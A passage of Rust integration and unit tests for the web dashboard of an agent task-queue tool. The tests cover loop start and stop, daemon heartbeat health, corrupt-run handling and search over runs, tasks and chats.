13141        task.runs.push("20260101-000000-dob1".to_owned());
13142        task.runs.push("20260101-000000-dob2".to_owned());
13143        queue.put(&mut task).expect("file the task");
13144
13145        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
13146        assert_eq!(done.status, 200, "{}", done.body);
13147
13148        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
13149            .expect("run still on disk under this fixture's own home");
13150        assert_eq!(
13151            reloaded_run.status,
13152            RunStatus::Blocked,
13153            "the last recorded attempt never landed, so the earlier one must not be \
13154             relabelled as superseded by it"
13155        );
13156    }
13157
13158    #[tokio::test]
13159    async fn unknown_ids_are_json_not_found_on_both_stores() {
13160        let f = Fixture::start().await;
13161
13162        let run = f.get("/api/runs/nosuchrun").await;
13163        let task = f.post("/api/queue/nosuchtask/hold", None).await;
13164
13165        assert_eq!(run.status, 404);
13166        assert_eq!(task.status, 404);
13167        assert!(
13168            run.json()["error"]
13169                .as_str()
13170                .is_some_and(|e| e.contains("run")),
13171            "the error names what was not found: {}",
13172            run.body
13173        );
13174        assert!(
13175            task.json()["error"]
13176                .as_str()
13177                .is_some_and(|e| e.contains("task")),
13178            "the error names what was not found: {}",
13179            task.body
13180        );
13181    }
13182
13183    #[tokio::test]
13184    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
13185        let f = Fixture::start().await;
13186
13187        let missing = f.get("/api/health").await.json();
13188        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
13189
13190        write_daemon(
13191            f.home.path(),
13192            Timestamp::now() - jiff::SignedDuration::from_secs(60),
13193        );
13194        let stale = f.get("/api/health").await.json();
13195        assert_eq!(
13196            stale["daemon"]["running"], false,
13197            "a minute without a heartbeat is a dead daemon, not a busy one"
13198        );
13199        assert!(
13200            stale["daemon"]["stale_for_secs"]
13201                .as_i64()
13202                .is_some_and(|s| s >= 55),
13203            "staleness is reported so the UI can say how long: {stale}"
13204        );
13205
13206        write_daemon(f.home.path(), Timestamp::now());
13207        let fresh = f.get("/api/health").await.json();
13208        assert_eq!(fresh["daemon"]["running"], true);
13209        assert_eq!(fresh["daemon"]["idle"], false);
13210        assert_eq!(fresh["daemon"]["pid"], 4242);
13211        assert_eq!(fresh["daemon"]["completed"], 7);
13212        assert_eq!(
13213            fresh["daemon"]["current"][0]["task"],
13214            "20260902-140501-aaaa"
13215        );
13216        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
13217    }
13218
13219    #[tokio::test]
13220    async fn the_loop_is_not_running_until_something_starts_it() {
13221        let f = Fixture::start().await;
13222
13223        let view = f.get("/api/loop").await.json();
13224        assert_eq!(view["running"], false);
13225        assert_eq!(
13226            view["owned"], false,
13227            "nobody owns a loop that does not exist: {view}"
13228        );
13229        assert_eq!(view["stopping"], false);
13230        assert_eq!(view["last_error"], Value::Null);
13231        assert_eq!(view["daemon"]["running"], false);
13232        assert_eq!(
13233            view["repo"], "/repo/magi",
13234            "the repository a start would use, named before it is started"
13235        );
13236    }
13237
13238    #[tokio::test]
13239    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
13240        let f = Fixture::start().await;
13241
13242        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13243        assert_eq!(res.status, 200, "{}", res.body);
13244        let view = res.json();
13245        assert_eq!(view["running"], true);
13246        assert_eq!(
13247            view["owned"], true,
13248            "the loop the UI started is the UI's own to stop: {view}"
13249        );
13250        assert_eq!(
13251            view["merge"],
13252            Value::Null,
13253            "no override was given, so each repository's own config decides"
13254        );
13255
13256        // The same object from the route a waking phone polls first. Two
13257        // surfaces disagreeing about whether anything is running is exactly
13258        // the confusion this UI exists to remove.
13259        let health = f.get("/api/health").await.json();
13260        assert_eq!(health["loop"]["running"], true, "{health}");
13261        assert_eq!(health["loop"]["owned"], true, "{health}");
13262
13263        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
13264    }
13265
13266    #[tokio::test]
13267    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
13268        let f = Fixture::start().await;
13269        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13270        assert_eq!(first.status, 200, "{}", first.body);
13271
13272        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13273        assert_eq!(
13274            again.status, 409,
13275            "two loops on one queue race for the same claims: {}",
13276            again.body
13277        );
13278        assert!(
13279            again.json()["error"]
13280                .as_str()
13281                .is_some_and(|e| e.contains("already running the loop")),
13282            "the refusal has to say why: {}",
13283            again.body
13284        );
13285        assert_eq!(
13286            f.get("/api/loop").await.json()["running"],
13287            true,
13288            "and the loop that was already running is untouched by it"
13289        );
13290
13291        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
13292    }
13293
13294    #[tokio::test]
13295    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
13296        let f = Fixture::start().await;
13297        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13298
13299        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
13300        assert_eq!(
13301            res.status, 200,
13302            "the answer must not wait for the loop: a run in flight is tens of \
13303             minutes and the operator is holding a phone: {}",
13304            res.body
13305        );
13306
13307        let view = settled(&f, |v| v["running"] == false).await;
13308        assert_eq!(view["owned"], false);
13309        assert_eq!(
13310            view["stopping"], false,
13311            "a loop that has stopped is not still stopping: {view}"
13312        );
13313        assert_eq!(
13314            view["last_error"],
13315            Value::Null,
13316            "a loop that was asked to stop did not fail: {view}"
13317        );
13318
13319        // Idempotent, because the operator cannot tell a slow stop from a lost
13320        // one and will press it again.
13321        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
13322        assert_eq!(twice.status, 200, "{}", twice.body);
13323    }
13324
13325    #[tokio::test]
13326    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
13327        let f = Fixture::start().await;
13328        // How the operator has been doing it: a `magi serve` of their own,
13329        // heartbeat fresh, in the same home this UI reads.
13330        write_daemon(f.home.path(), Timestamp::now());
13331
13332        let view = f.get("/api/loop").await.json();
13333        assert_eq!(view["running"], false, "not in this process: {view}");
13334        assert_eq!(view["owned"], false, "and not this process's to control");
13335        assert_eq!(
13336            view["daemon"]["running"], true,
13337            "but a loop is alive somewhere, which is what the UI must say"
13338        );
13339        assert_eq!(view["daemon"]["pid"], 4242);
13340
13341        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
13342            let res = f.post("/api/loop", Some(body)).await;
13343            assert_eq!(
13344                res.status, 409,
13345                "neither button may pretend to work on someone else's loop: {}",
13346                res.body
13347            );
13348            assert!(
13349                res.json()["error"]
13350                    .as_str()
13351                    .is_some_and(|e| e.contains("4242")),
13352                "the refusal has to name the process the operator must go to: {}",
13353                res.body
13354            );
13355        }
13356        assert_eq!(
13357            f.get("/api/loop").await.json()["running"],
13358            false,
13359            "and the refusal started nothing"
13360        );
13361    }
13362
13363    #[tokio::test]
13364    async fn a_stale_status_file_is_not_a_foreign_owner() {
13365        let f = Fixture::start().await;
13366        write_daemon(
13367            f.home.path(),
13368            Timestamp::now() - jiff::SignedDuration::from_secs(60),
13369        );
13370
13371        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13372        assert_eq!(
13373            res.status, 200,
13374            "a daemon killed a minute ago must not lock the loop out of its \
13375             own home for good: {}",
13376            res.body
13377        );
13378        assert_eq!(res.json()["running"], true);
13379
13380        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
13381    }
13382
13383    #[tokio::test]
13384    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
13385        let f = Fixture::start().await;
13386        let before = f.get("/api/health").await.json()["loop_rev"]
13387            .as_u64()
13388            .expect("a loop revision");
13389
13390        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13391
13392        let after = f.get("/api/health").await.json()["loop_rev"]
13393            .as_u64()
13394            .expect("a loop revision");
13395        assert!(
13396            after > before,
13397            "the loop is in-process state, so this counter is the only thing \
13398             that tells a second device the first one started it: {before} -> \
13399             {after}"
13400        );
13401
13402        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
13403    }
13404
13405    #[tokio::test]
13406    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
13407        let f = Fixture::with_loop(launch_broken).await;
13408
13409        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13410        assert_eq!(
13411            res.status, 200,
13412            "starting it is not the failure: {}",
13413            res.body
13414        );
13415
13416        let view = settled(&f, |v| v["last_error"].is_string()).await;
13417        assert_eq!(
13418            view["running"], false,
13419            "a loop that died must not read as running, or the operator has \
13420             nothing to press: {view}"
13421        );
13422        assert_eq!(view["owned"], false);
13423        assert!(
13424            view["last_error"]
13425                .as_str()
13426                .is_some_and(|e| e.contains("read-only file system")),
13427            "the phone is where a loop that died at 3am is visible: {view}"
13428        );
13429
13430        // And it can be started again: the corpse was reaped, not left to
13431        // occupy the slot.
13432        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13433        assert_eq!(again.status, 200, "{}", again.body);
13434        assert!(
13435            again.json()["last_error"]
13436                .as_str()
13437                .is_none_or(|e| !e.contains("read-only file system")),
13438            "a fresh start does not keep showing why the last one died: {}",
13439            again.body
13440        );
13441    }
13442
13443    /// An upgrade parks the run in flight before it restarts, and a park waits
13444    /// for the node - up to `timeout_implement`, an hour by default. The deck
13445    /// has to answer for all of it: the operator has just been told a run is
13446    /// finishing first, and this address is the only place that says how it is
13447    /// going. It did not, once - the listener went with the `select!` arm that
13448    /// began the handover, and the phone got `Cannot reach magi: Failed to
13449    /// fetch` for the rest of the wave.
13450    ///
13451    /// The other half is the older rule: the address must be free *before* the
13452    /// successor is started, or it dies on "address already in use" with its
13453    /// stdio sent to null and the deck never comes back.
13454    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
13455    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
13456        let home = TempDir::new().expect("temp home");
13457        let runs = home.path().join("runs");
13458        std::fs::create_dir_all(&runs).expect("runs dir");
13459        let ui = Ui::new(
13460            Queue::at(home.path().join("queue")),
13461            Questions::at(home.path().join("questions")),
13462            Talks::at(home.path().join("talks")),
13463            runs,
13464            home.path().to_path_buf(),
13465            PathBuf::from("/repo/magi"),
13466        )
13467        .with_worktrees_root(home.path().join("wt"))
13468        .with_launch(launch_knocking_on_the_way_out);
13469        let looping = ui.looping();
13470        let turns = ui.turns();
13471        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13472            .await
13473            .expect("bind loopback");
13474        let addr = listener.local_addr().expect("local addr");
13475        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
13476        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13477
13478        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
13479        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
13480
13481        // The successor's whole job, and the one thing it cannot do while this
13482        // process still holds the socket.
13483        //
13484        // One bind is not enough, and the reason is not this process's order of
13485        // operations: aborting the accept loop drops the listener, but axum
13486        // serves each accepted connection on a task of its own, and those are
13487        // not aborted. The requests above left sockets on this very address,
13488        // and under BSD's bind rules (macOS) a live socket on 127.0.0.1:port
13489        // makes a fresh bind fail with EADDRINUSE until its task is dropped.
13490        // Production absorbs that in `bind_waiting`; so does this. Only
13491        // `AddrInUse` is retried, and the listener is released before the
13492        // closure returns - were the order wrong, the listener would outlive
13493        // the closure and every attempt would fail. Inferred from the bind
13494        // rules and the code; not reproduced on macOS.
13495        let bound = std::sync::Mutex::new(None);
13496        hand_over(
13497            home.path(),
13498            &looping,
13499            &turns,
13500            &|_: &[String]| Duration::from_secs(5),
13501            served,
13502            |_| {
13503                let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
13504                let attempt = loop {
13505                    match std::net::TcpListener::bind(addr) {
13506                        Ok(l) => {
13507                            drop(l);
13508                            break Ok(());
13509                        }
13510                        Err(e)
13511                            if e.kind() == std::io::ErrorKind::AddrInUse
13512                                && std::time::Instant::now() < deadline =>
13513                        {
13514                            std::thread::sleep(std::time::Duration::from_millis(10));
13515                        }
13516                        Err(e) => break Err(e.to_string()),
13517                    }
13518                };
13519                *bound.lock().expect("bound") = Some(attempt);
13520                Ok(1)
13521            },
13522        )
13523        .await
13524        .expect("hand over");
13525
13526        assert_eq!(
13527            *PARK_HEARD.lock().expect("park heard"),
13528            Some(200),
13529            "the deck must answer while the loop is parking"
13530        );
13531        let attempt = bound
13532            .lock()
13533            .expect("bound")
13534            .take()
13535            .expect("the successor was started");
13536        assert!(
13537            attempt.is_ok(),
13538            "and the address must be free by the time it is: {attempt:?}"
13539        );
13540    }
13541
13542    #[tokio::test]
13543    async fn a_newer_daemon_status_file_still_renders() {
13544        let f = Fixture::start().await;
13545        // A field this build has never heard of must not turn the status line
13546        // into a 500; that is the whole reason the reader is permissive.
13547        std::fs::write(
13548            f.home.path().join("daemon.json"),
13549            serde_json::json!({
13550                "schema": 2,
13551                "updated_at": Timestamp::now().to_string(),
13552                "idle": true,
13553                "surprise": { "nested": [1, 2, 3] },
13554            })
13555            .to_string(),
13556        )
13557        .expect("write daemon.json");
13558
13559        let health = f.get("/api/health").await;
13560
13561        assert_eq!(health.status, 200);
13562        assert_eq!(health.json()["daemon"]["running"], true);
13563    }
13564
13565    #[tokio::test]
13566    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
13567        let f = Fixture::start().await;
13568        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
13569        let broken = f.runs().join("20260902-140502-bad");
13570        std::fs::create_dir_all(&broken).expect("run dir");
13571        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
13572
13573        let list = f.get("/api/runs").await;
13574        let detail = f.get("/api/runs/20260902-140502-bad").await;
13575
13576        assert_eq!(list.status, 200);
13577        let listed = list.json();
13578        let ids: Vec<&str> = listed
13579            .as_array()
13580            .expect("an array")
13581            .iter()
13582            .map(|r| r["id"].as_str().expect("an id"))
13583            .collect();
13584        assert_eq!(
13585            ids,
13586            vec!["20260902-140501-good"],
13587            "one unreadable run must not cost the operator the whole history"
13588        );
13589        assert_eq!(detail.status, 500);
13590        assert!(
13591            detail.json()["error"]
13592                .as_str()
13593                .is_some_and(|e| e.contains("run.json")),
13594            "the failure names the file to look at: {}",
13595            detail.body
13596        );
13597        // A skipped run has to be countable somewhere, or the UI shows an
13598        // empty history with nothing to explain it - which is exactly what a
13599        // directory full of older-schema runs looks like.
13600        let health = f.get("/api/health").await;
13601        assert_eq!(health.json()["runs_unreadable"], 1);
13602    }
13603
13604    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
13605    #[tokio::test]
13606    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
13607        let f = Fixture::start().await;
13608        let runs = f.runs();
13609        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
13610        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
13611        // Text three levels down, in a shape no current RunState has: an older
13612        // schema must still search.
13613        let path = runs.join("20260902-140502-bbbb").join("run.json");
13614        let mut v: serde_json::Value =
13615            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
13616        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
13617        std::fs::write(&path, v.to_string()).unwrap();
13618        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
13619        std::fs::write(
13620            runs.join("20260902-140503-cccc").join("run.json"),
13621            "{ not json",
13622        )
13623        .unwrap();
13624
13625        let res = f.get("/api/search?scope=runs&q=quokka").await;
13626        assert_eq!(res.status, 200, "{}", res.body);
13627        let v = res.json();
13628        assert_eq!(v["total"], 1, "{v}");
13629        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
13630        assert_eq!(v["hits"][0]["field"], "text");
13631        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
13632        let parts = v["hits"][0]["snippet"].as_array().unwrap();
13633        assert!(
13634            parts
13635                .iter()
13636                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
13637            "{v}"
13638        );
13639        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
13640        assert_eq!(
13641            flat, "The Quokka leaks across threads",
13642            "whitespace is collapsed"
13643        );
13644
13645        // Terms are ANDed, across different fields, case-insensitively.
13646        let both = f
13647            .get("/api/search?scope=runs&q=MOBILE%20quokka")
13648            .await
13649            .json();
13650        assert_eq!(both["total"], 1, "{both}");
13651        let neither = f
13652            .get("/api/search?scope=runs&q=quokka%20zebra")
13653            .await
13654            .json();
13655        assert_eq!(neither["total"], 0, "{neither}");
13656        // Everything in the task statement is reachable, not only the row text.
13657        let stmt = f
13658            .get("/api/search?scope=runs&q=mobile%20first")
13659            .await
13660            .json();
13661        assert_eq!(stmt["total"], 2, "{stmt}");
13662        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
13663        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
13664    }
13665
13666    #[test]
13667    fn snippet_ignores_terms_longer_than_the_field() {
13668        let terms = ["ok".to_owned(), "elephant".to_owned()];
13669        let parts = snippet_of("ok", &terms);
13670        assert_eq!(
13671            parts,
13672            vec![SnippetPart {
13673                text: "ok".to_owned(),
13674                hit: true
13675            }]
13676        );
13677    }
13678
13679    #[test]
13680    fn snippet_marks_matches_longer_than_the_window() {
13681        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
13682        let hit_len = |parts: &[SnippetPart]| -> usize {
13683            parts
13684                .iter()
13685                .filter(|p| p.hit)
13686                .map(|p| p.text.chars().count())
13687                .sum()
13688        };
13689        let total =
13690            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
13691
13692        let long = "a".repeat(120);
13693        let parts = snippet_of(&long, std::slice::from_ref(&long));
13694        assert!(hit_len(&parts) > 0, "{parts:?}");
13695        assert!(total(&parts) <= cap);
13696
13697        let ja = "あ".repeat(130);
13698        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
13699        assert!(hit_len(&parts) > 0, "{parts:?}");
13700        assert!(total(&parts) <= cap);
13701
13702        // A short hit, then one straddling the window's end.
13703        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
13704        let term = format!("ab{}", "c".repeat(100));
13705        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
13706        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
13707        assert!(total(&parts) <= cap);
13708
13709        // Only the head matches: not highlighted.
13710        let text = format!("{}z", "a".repeat(119));
13711        let parts = snippet_of(&text, &["a".repeat(120)]);
13712        assert_eq!(hit_len(&parts), 0, "{parts:?}");
13713    }
13714
13715    #[tokio::test]
13716    async fn search_caps_hits_and_snippet_length() {
13717        let f = Fixture::start().await;
13718        let runs = f.runs();
13719        for n in 0..(SEARCH_MAX_HITS + 5) {
13720            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
13721        }
13722        let v = f.get("/api/search?scope=runs&q=web").await.json();
13723        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
13724        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
13725        assert_eq!(v["truncated"], true);
13726        // Every listed run hit carries its list row for the page's filters.
13727        assert!(
13728            v["hits"]
13729                .as_array()
13730                .unwrap()
13731                .iter()
13732                .all(|h| h["run"]["status"] == "merged")
13733        );
13734
13735        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
13736        let parts = snippet_of(&long, &["needle".to_owned()]);
13737        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
13738        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
13739        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
13740    }
13741
13742    #[tokio::test]
13743    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
13744        let f = Fixture::start().await;
13745        let queue = f.queue();
13746        let mut t = Task::new(
13747            "short title".to_owned(),
13748            "line one\nthe hidden Armadillo detail".to_owned(),
13749            PathBuf::from("/repo/magi"),
13750            Source::Agent {
13751                run: "r1".to_owned(),
13752                node: "chat".to_owned(),
13753            },
13754        );
13755        t.last_error = Some("disk full on /tmp".to_owned());
13756        queue.put(&mut t).expect("file the task");
13757
13758        for (q, want) in [
13759            ("armadillo", 1),
13760            ("disk%20FULL", 1),
13761            ("chat", 1),
13762            ("queued", 1),
13763            ("short%20nothing", 0),
13764        ] {
13765            let v = f
13766                .get(&format!("/api/search?scope=tasks&q={q}"))
13767                .await
13768                .json();
13769            assert_eq!(v["total"], want, "{q}: {v}");
13770        }
13771        for bad in [
13772            "/api/search?scope=tasks&q=",
13773            "/api/search?scope=tasks&q=%20",
13774            "/api/search?scope=chats&q=",
13775            "/api/search?scope=chats&q=%20",
13776            "/api/search?scope=nope&q=a",
13777            "/api/search?q=a",
13778        ] {
13779            assert_eq!(f.get(bad).await.status, 400, "{bad}");
13780        }
13781    }
13782
13783    /// Write one conversation file the way the store reads it back.
13784    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
13785        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
13786            .expect("seat value");
13787        let turns: Vec<serde_json::Value> = turns
13788            .iter()
13789            .map(|(who, body)| {
13790                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
13791            })
13792            .collect();
13793        let doc = serde_json::json!({
13794            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
13795            "status": status, "turns": turns,
13796            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
13797            "seat": seat,
13798        });
13799        let dir = f.home.path().join("talks");
13800        std::fs::create_dir_all(&dir).expect("talks dir");
13801        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
13802    }
13803
13804    #[tokio::test]
13805    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
13806        let f = Fixture::start().await;
13807        write_talk(
13808            &f,
13809            "20260901-000001-aaaa",
13810            "open",
13811            &[
13812                (
13813                    "operator",
13814                    "\n  Why does the Pangolin cache expire?\nsecond line",
13815                ),
13816                ("agent", "Because the TTL is thirty seconds."),
13817            ],
13818        );
13819        write_talk(
13820            &f,
13821            "20260901-000002-bbbb",
13822            "closed",
13823            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
13824        );
13825        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
13826
13827        let search = |q: &'static str| {
13828            let f = &f;
13829            async move {
13830                f.get(&format!("/api/search?scope=chats&q={q}"))
13831                    .await
13832                    .json()
13833            }
13834        };
13835
13836        let v = search("PANGOLIN").await;
13837        assert_eq!(v["scope"], "chats");
13838        assert_eq!(v["total"], 1, "{v}");
13839        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
13840        assert_eq!(v["hits"][0]["field"], "title");
13841        assert_eq!(v["unreadable"], 1, "{v}");
13842        let marked: Vec<&str> = v["hits"][0]["snippet"]
13843            .as_array()
13844            .unwrap()
13845            .iter()
13846            .filter(|p| p["hit"] == true)
13847            .map(|p| p["text"].as_str().unwrap())
13848            .collect();
13849        assert_eq!(marked, ["Pangolin"]);
13850
13851        // An agent turn, in a closed conversation.
13852        let v = search("zebra").await;
13853        assert_eq!(v["total"], 1, "{v}");
13854        assert_eq!(v["hits"][0]["field"], "agent");
13855        // Words may sit in different turns; all must be present.
13856        assert_eq!(search("pangolin%20thirty").await["total"], 1);
13857        assert_eq!(search("pangolin%20zebra").await["total"], 0);
13858        // Bookkeeping is not searched.
13859        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
13860            assert_eq!(search(q).await["total"], 0, "{q}");
13861        }
13862        // The first line only is the title; the second line is still a turn.
13863        assert_eq!(search("second").await["hits"][0]["field"], "operator");
13864        // Open conversations are listed before closed ones.
13865        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
13866
13867        let v = f.get("/api/search?scope=nope&q=a").await;
13868        assert_eq!(v.status, 400);
13869        assert!(
13870            v.body.contains("scope must be runs, tasks or chats"),
13871            "{}",
13872            v.body
13873        );
13874    }
13875
13876    #[test]
13877    fn a_question_card_links_a_task_id_to_the_task_page() {
13878        let start = APP_JS
13879            .find("function updateAskCard(")
13880            .expect("updateAskCard exists");
13881        let body = &APP_JS[start..];
13882        let body = &body[..body.find("\n}\n").expect("function end")];
13883        assert!(body.contains("question.run_is_task"));
13884        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
13885        assert!(body.contains("`#/runs/${question.run}`"));
13886        assert!(body.contains("\"task\" : \"run\""));
13887    }
13888
13889    #[test]
13890    fn plain_text_message_surfaces_go_through_linkify() {
13891        assert!(APP_JS.contains("function linkify("));
13892        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
13893        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
13894        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
13895        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
13896        assert!(!APP_JS.contains("innerHTML = text"));
13897    }
13898
13899    #[test]
13900    fn implementation_rate_views_keep_independent_samples() {
13901        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
13902            let a = stats::AgentStats {
13903                competitive_entered: competitive_n,
13904                competitive_wins: usize::from(competitive_n > 0),
13905                solo_entered: solo_n,
13906                solo_adopted: 2 * usize::from(solo_n > 0),
13907                ..Default::default()
13908            };
13909            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
13910            for (key, n, numerator) in [
13911                ("competitive_win_rate", competitive_n, a.competitive_wins),
13912                ("solo_adoption_rate", solo_n, a.solo_adopted),
13913            ] {
13914                if n == 0 {
13915                    assert!(v[key].is_null());
13916                } else {
13917                    assert_eq!(v[key]["denominator"], n);
13918                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
13919                }
13920            }
13921        }
13922        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
13923        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
13924        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
13925        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
13926    }
13927
13928    #[test]
13929    fn stats_bars_share_one_id_keyed_plan() {
13930        let start = APP_JS
13931            .find("function statsBarRows(")
13932            .expect("statsBarRows exists");
13933        let body = &APP_JS[start..];
13934        let body = &body[..body.find("\n}\n").expect("function end")];
13935        assert!(body.contains("statsBarPlan(rows)"));
13936        assert!(body.contains("statsAgentTone(row.agent)"));
13937        assert!(!body.contains("candTone(i)"));
13938        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
13939        for root in [
13940            "stats-agents-bars",
13941            "stats-solo-bars",
13942            "stats-reviewers-bars",
13943        ] {
13944            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
13945        }
13946    }
13947
13948    #[test]
13949    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
13950        let start = APP_JS
13951            .find("function renderStatsReviewerScatter(")
13952            .expect("renderStatsReviewerScatter exists");
13953        let body = &APP_JS[start..];
13954        let body = &body[..body.find("\n}\n").expect("function end")];
13955        assert!(body.contains("statsScatterPlan(reviewers)"));
13956        assert!(body.contains("statsAgentTone(d.agent)"));
13957        assert!(APP_JS.contains("function statsScatterPlan("));
13958        assert!(
13959            APP_JS.contains("d.submitted < STATS_LOW_N")
13960                || APP_JS.contains("r.submitted < STATS_LOW_N")
13961        );
13962        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
13963        assert!(APP_CSS.contains(".precision-scatter"));
13964    }
13965
13966    #[test]
13967    fn advisor_reflection_is_drawn_as_stacked_segments() {
13968        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
13969        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
13970        let html = include_str!("../assets/ui/index.html");
13971        assert!(html.contains("Approximate"));
13972        for label in ["reflected strongly", "faint", "no proposal"] {
13973            assert!(html.contains(label));
13974        }
13975        let css = include_str!("../assets/ui/app.css");
13976        for c in ["refl-strong", "refl-faint", "refl-absent"] {
13977            assert!(css.contains(&format!(".{c} {{")));
13978        }
13979    }
13980
13981    #[test]
13982    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
13983        assert!(APP_JS.contains("function statsDailyPlan("));
13984        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
13985        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
13986    }
13987
13988    #[test]
13989    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
13990        let start = APP_JS
13991            .find("function scheduleSearch(")
13992            .expect("scheduleSearch exists");
13993        let body = &APP_JS[start..];
13994        let body = &body[..body.find("\n}\n").expect("function end")];
13995        assert!(body.contains("s.seq += 1"));
13996    }
13997
13998    /// The dashboard reads every run's state itself rather than trusting a
13999    /// separately-maintained count, so an unreadable run must be counted the
14000    /// same way `/api/health` counts it - never silently dropped the way the
14001    /// CLI's own `stats::load_all` drops it.
14002    #[tokio::test]
14003    async fn stats_runs_unreadable_matches_health() {
14004        let f = Fixture::start().await;
14005        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
14006        let broken = f.runs().join("20260902-140502-bad");
14007        std::fs::create_dir_all(&broken).expect("run dir");
14008        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
14009
14010        let stats = f.get("/api/stats").await;
14011        let health = f.get("/api/health").await;
14012
14013        assert_eq!(stats.status, 200);
14014        assert_eq!(stats.json()["totals"]["runs"], 1);
14015        assert_eq!(stats.json()["runs_unreadable"], 1);
